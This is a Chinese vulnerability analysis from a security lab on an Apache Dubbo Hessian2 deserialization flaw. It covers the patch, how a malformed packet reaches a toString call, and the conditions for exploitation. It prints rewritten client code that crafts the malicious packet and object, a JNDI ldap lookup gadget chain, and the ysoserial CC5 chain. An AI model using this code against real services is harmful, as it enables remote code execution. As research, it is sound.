作者:Longofo@知道創宇404實驗室
日期:2022年1月18日
上周看到Apache官方又發布了一個Apache Dubbo Hessian2的漏洞,來看看這個描述:

之前有段時間Dubbo的反序列化已經被蹂躪過n次了,而這個解析錯誤時看起來總有那么點不一樣,想想這個漏洞即使比較雞肋,也必然它值得借鑒的地方。下面來看看這個漏洞,以及Hessian比較處理時比較有意思的地方。
距離之前Dubbo的漏洞也有一段時間了,現在也差不多快忘了,好在之前寫過一篇Dubbo的分析,溫故一下也能回憶起來。
補丁分析
這個漏洞修復的不是Apache Dubbo,修復的地方在hessian-lite:


注意這個commit:Remove toString calling,看修復的幾個類,都是在拋異常中刪除對象的拼接,這里存在字符串拼接的隱式.toString調用。
最后還有一個DENY_CLASS禁用了某些包前綴,大概就是觸發toString調用鏈的某些部分。
漏洞環境
- Apache Dubbo 2.7.14
-
JDK8u102
-
demo拉取官方的dubbo-samples-basic
漏洞分析
Abstract Deserializer
看上面補丁,有這樣幾個類:AbstractDeserializer、AbstractListDeserializer、AbstractMapDeserializer,它們修復之前的代碼也出奇的一致:
@Override
public Object readObject(AbstractHessianInput in)
throws IOException {
Object obj = in.readObject();
String className = getClass().getName();
if (obj != null)
throw error(className + ": unexpected object " + obj.getClass().getName() + " (" + obj + ")");
else
throw error(className + ": unexpected null value");
}
這怎么看都不對勁,輸入流讀出對象,對象不為空拋異常!!!這沒有上下文看起來多少帶點大病。抽象類不能被實例化,看看有沒有子類沒有重寫這個方法,如果沒有重寫或重寫并調用了父類這個方法,那么就能觸發.toString()的調用了。
找了一圈,這三個抽象類的所有子類,都重寫了這個方法,并且都不會調用父類地方法,那么這里的修復猜測可能是用戶會繼承這個類然后沒有重寫的可能,就不考慮這種情況了。
Hessian2Input
通往obj.toString()
補丁中還有com.alibaba.com.caucho.hessian.io.Hessian2Input.java的修復,這類名怎么看都是修復在大動脈上:

.expect()中有個讀取readObject()的操作,接著就是obj.toString的調用,.expect()在Hessian2Input類中有多處使用。
如何確定官方提供的dubbo-samples-basic使用的Hessian2,搜索Hessian2Input關鍵詞的類,有Hessian2Input和Hessian2ObjectInput,猜測一下在大概率會被調用的函數上打上斷點,如果不確定可以嘗試在這兩個類所有函數上打上斷點。
經過測試,最先被調用的是com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()
調用棧如下:
readString:1611, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:41, InternalRunnable (org.apache.dubbo.common.threadlocal)
run:745, Thread (java.lang)
在com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()中就有.expect()的調用,這不巧了嗎(并不,一開始并沒有在readString()上下斷,更令人關注的難道不是readObject()嗎,但是有時候你不關注的反而更奇妙),因為剛好在上兩層棧,就是整個Dubbo rpc調用處理的decode函數:

得到Hessian2InputObject,調用readUTF獲取版本號,這里是Hessian2反序列化的開始。接下來就是如何在readString()中調用到.expect()了,然后觸發expect()中的readObject()。
看下readString()處理:
public String readString() throws IOException {
int tag = this.read();
int ch;
switch(tag) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
case 10:
case 11:
case 12:
case 13:
case 14:
case 15:
case 16:
case 17:
case 18:
case 19:
case 20:
case 21:
case 22:
case 23:
case 24:
case 25:
case 26:
case 27:
case 28:
case 29:
case 30:
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);
while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}
return this._sbuf.toString();
case 32:
case 33:
...
case 67:
...
case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:
case 50:
...
...省略
case 253:
case 254:
case 255:
return String.valueOf((tag - 248 << 8) + this.read());
}
}
一共256個case,從.read()中讀取tag:
public final int read() throws IOException {
return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;
}
一開始我被switch的寫法坑了,我以為default條件是在所有找不到的情況下才會調用,而this._buffer[this._offset++] & 255的范圍只能為0-255,這根本到不了default里面啊,那只能寄希望于this._length <= this._offset && !this.readBuffer()返回-1了。可是折騰了半天,這里就不可能返回-1...
后來恍悟switch是按從上到下處理的,那么只需要取default上面沒有條件的case就行了,這里后面取了67,這里取值67很巧,后面會看到。
畸形數據包構造=>代碼調用
從上面可以看出,我們要到達obj.toString(),就要構造畸形數據包改變正常流向。一開始抓包看了下,發送的包還挺多的,這要構造起來不得把dubbo翻一遍。后來想想,服務端既然用Hessian2Input處理的數據,那么客戶端可能就是用Hessian2Output處理的,經過一些測試,我重寫了Apache Dubbo部分代碼改變Hessian2Input.readString()走向,以及能成功的在expect方法中readObject。
重寫com.alibaba.com.caucho.hessian.io.Hessian2Output#writeString(java.lang.String):
public void writeString(String value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (value == null) {
buffer[offset++] = 78;
this._offset = offset;
} else {
int length = value.length();
int strOffset;
int sublen;
for (strOffset = 0; length > 32768; strOffset += sublen) {
sublen = 32768;
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
char tail = value.charAt(strOffset + sublen - 1);
if ('\ud800' <= tail && tail <= '\udbff') {
--sublen;
}
buffer[offset + 0] = 82;
buffer[offset + 1] = (byte) (sublen >> 8);
buffer[offset + 2] = (byte) sublen;
this._offset = offset + 3;
this.printString(value, strOffset, sublen);
length -= sublen;
}
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (length <= 31) {
if (value.startsWith("2.")) {//這里只讓寫入version版本的時候使服務端readString異常,走向expect
buffer[offset++] = 67;//取值67
} else {
buffer[offset++] = (byte) (0 + length);
}
} else if (length <= 1023) {
buffer[offset++] = (byte) (48 + (length >> 8));
buffer[offset++] = (byte) length;
} else {
buffer[offset++] = 83;
buffer[offset++] = (byte) (length >> 8);
buffer[offset++] = (byte) length;
}
if (!value.startsWith("2.")) {
this._offset = offset;
this.printString(value, strOffset, length);
}
}
}
重寫org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeRequestData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String):
protected void encodeRequestData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
RpcInvocation inv = (RpcInvocation) data;
out.writeUTF(version);
out.writeObject(Test.getObject());//寫入惡意對象,在expect中readObject的對象
}
重寫org.apache.dubbo.registry.zookeeper.ZookeeperRegistry#doSubscribe:
public void doSubscribe(final URL url, final NotifyListener listener) {
try {
String path;
if ("*".equals(url.getServiceInterface())) {
String root = this.toRootPath();
ConcurrentMap<NotifyListener, ChildListener> listeners = (ConcurrentMap) this.zkListeners.computeIfAbsent(url, (k) -> {
return new ConcurrentHashMap();
});
ChildListener zkListener = (ChildListener) listeners.computeIfAbsent(listener, (k) -> {
return (parentPath, currentChilds) -> {
Iterator var5 = currentChilds.iterator();
while (var5.hasNext()) {
String child = (String) var5.next();
child = URL.decode(child);
if (!this.anyServices.contains(child)) {
this.anyServices.add(child);
this.subscribe(url.setPath(child).addParameters(new String[]{"interface", child, "check", String.valueOf(false)}), k);
}
}
};
});
this.zkClient.create(root, false);
List<String> services = this.zkClient.addChildListener(root, zkListener);
if (CollectionUtils.isNotEmpty(services)) {
Iterator var7 = services.iterator();
while (var7.hasNext()) {
path = (String) var7.next();
path = URL.decode(path);
this.anyServices.add(path);
this.subscribe(url.setPath(path).addParameters(new String[]{"interface", path, "check", String.valueOf(false)}), listener);
}
}
} else {
CountDownLatch latch = new CountDownLatch(1);
List<URL> urls = new ArrayList();
String[] var15 = this.toCategoriesPath(url);
int var16 = var15.length;
for (int var17 = 0; var17 < var16; ++var17) {
path = var15[var17];
ConcurrentMap<NotifyListener, ChildListener> listeners = (ConcurrentMap) this.zkListeners.computeIfAbsent(url, (k) -> {
return new ConcurrentHashMap();
});
ChildListener zkListener = (ChildListener) listeners.computeIfAbsent(listener, (k) -> {
return new ZookeeperRegistry.RegistryChildListenerImpl(url, k, latch);
});
if (zkListener instanceof ZookeeperRegistry.RegistryChildListenerImpl) {
((ZookeeperRegistry.RegistryChildListenerImpl) zkListener).setLatch(latch);
}
this.zkClient.create(path, false);
List<String> children = this.zkClient.addChildListener(path, zkListener);
if (children != null) {
urls.addAll(this.toUrlsWithEmpty(url, path, children));
}
}
URL url1 = URL.valueOf(String.format("dubbo://%s:%s/%s?anyhost=true&application=demo-provider&default=true&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=%s&metadata-type=remote&methods=ccc,ddd&pid=111&release=2.7.14&service.name=ServiceBean:/111.222&side=provider×tamp=111&token=aaa", BasicConsumer.targetHost, BasicConsumer.targetPort, BasicConsumer.anyInterface, BasicConsumer.anyInterface));//重寫了這里,因為我們不知道目標的接口,zoomkeeper與目標服務通信之后,不會返回目標的ip和端口,所以這里的前提就是如果你不知道目標暴露的接口服務,那么需要知道目標服務的ip和port
urls.set(0, url1);
this.notify(url, listener, urls);
latch.countDown();
}
} catch (Throwable var12) {
throw new RpcException("Failed to subscribe " + url + " to zookeeper " + this.getUrl() + ", cause: " + var12.getMessage(), var12);
}
}
重寫com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer:
protected Serializer getDefaultSerializer(Class cl) {
this._isAllowNonSerializable = true;//默認是不允許序列化沒有繼承Serializable的類,但是神奇的是這只是本地的校驗,關閉即可,服務端根本沒有校驗類需要繼承Serializable
if (this._defaultSerializer != null) {
return this._defaultSerializer;
} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
} else {
return new JavaSerializer(cl, this._loader);
}
}
以上的demo代碼放到github了,有興趣的可以測試下。
toString調用鏈構造注意事項
在marshalsec工具中,提供了對于Hessian反序列化可利用的幾條鏈:
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringAbstractBeanFactoryPointcutAdvisor
不過有的鏈被拉到了黑名單了,或者需要一些三方包。
之前看到過jdk中其實有個toString的利用鏈:
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"}));
Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
declaredConstructor.setAccessible(true);
o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
經過測試,發現沒法使用:
- javax.swing.MultiUIDefaults是peotect類,只能在javax.swing.中使用,而且Hessian2拿到了構造器,但是沒有setAccessable,newInstance就沒有權限
- 所以要找鏈的話需要類是public的,構造器也是public的,構造器的參數個數不要緊,hessian2會自動挨個測試構造器直到成功
然后對于存在Map類型的利用鏈,例如ysoserial中的cc5部分:
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
這個也是無法利用的,因為Hessian2在恢復map類型的對象時,硬編碼成了HashMap或者TreeMap,這里LazeMap就斷了。
掃了下basic項目自帶的包,沒找到能用的鏈,三方包中找到利用鏈的可能性比較大一些。
利用條件
對于上面這個basic項目,使用zoomkeeper作為注冊中心,要利用需要的條件如下:
- 知道目標服務的ip&port,不需要知道zoomkeeper注冊中心的地址,上面測試項目中使用的是這種樣例,可以看到在客戶端代碼中,我沒有用服務端提供的接口而是隨便寫的一個,依然可以成功利用
-
或者需要知道zoomkeeper的ip&port+一個目標的interface接口名稱(因為先和zoomkeeper通信,如果沒有提供正確的接口名稱,他不會返回目標的ip和port信息,如果你知道目標的一個interface接口,那么就可以借助zoomkeeper拿到目標的ip和port,總之和zoomkeeper通信的目的也是拿到目標的ip和port)
-
一個toString利用鏈
最后
從這個漏洞可以學到以下兩點:
- 類似Hessian2這種反序列化組件,如果要發現類似的漏洞,可以把他們的核心處理類比如Hessian2的Hessian2Input的所有readXXX方法作為source
- 畸形數據有時候構造不容易,可以考慮從客戶端代碼轉換
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1814/
暫無評論